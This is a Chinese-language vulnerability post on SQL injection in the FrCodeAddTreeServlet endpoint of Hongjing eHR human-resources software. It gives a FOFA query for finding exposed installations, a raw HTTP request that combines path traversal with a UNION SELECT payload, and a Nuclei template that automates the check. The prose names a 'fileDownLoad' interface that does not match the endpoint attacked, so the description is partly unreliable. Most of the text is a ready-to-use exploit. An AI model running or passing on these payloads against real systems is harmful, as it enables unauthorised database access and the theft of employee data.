宏景eHR FrCodeAddTreeServlet SQL注入漏洞

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Ⅰ、漏洞描述

宏景eHR人力资源管理软件是一款人力资源管理与数字化应用相融合，满足动态化、协同化、流程化、战略化需求的软件。

宏景eHR fileDownLoad 接口处存在SQL注入漏洞，恶意攻击者可能会利用此漏洞执行任意SQL指令，导致敏感数据泄露，从而造成危害。

Ⅱ、fofa语句

app="HJSOFT-HCM"

Ⅲ、漏洞复现

POC

POST /templates/attestation/../../servlet/FrCodeAddTreeServlet HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
 
params=&issuperuser=&parentid=&privType=&manageprive=&action=&target=&showType=1%27+UNION+ALL+SELECT+%40%40version%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--+&treetype=&orgtype=

1、构建poc

Ⅳ、Nuclei-POC

id: HJSOFT-FrCodeAddTreeServlet-SQL

info:
  name: 宏景FrCodeAddTreeServlet SQL注入
  author: WLF
  severity: high
  tags: HJSOFT
  description:
variables:
  file_name: "{{to_lower(rand_text_alpha(8))}}"
  file_content: "{{to_lower(rand_text_alpha(26))}}"
requests:
  - raw:
      - |
        POST /templates/attestation/../../servlet/FrCodeAddTreeServlet HTTP/1.1
        Host:{{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
        Accept: */*
        Accept-Encoding: gzip, deflate
        Connection: keep-alive
        Content-Type: application/x-www-form-urlencoded
        
        params=&issuperuser=&parentid=&privType=&manageprive=&action=&target=&showType=1%27+UNION+ALL+SELECT+%40%40version%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--+&treetype=&orgtype=
              



    matchers:
      - type: dsl
        dsl:
          - status_code==200 && contains_all(body,"SQL","TreeNode")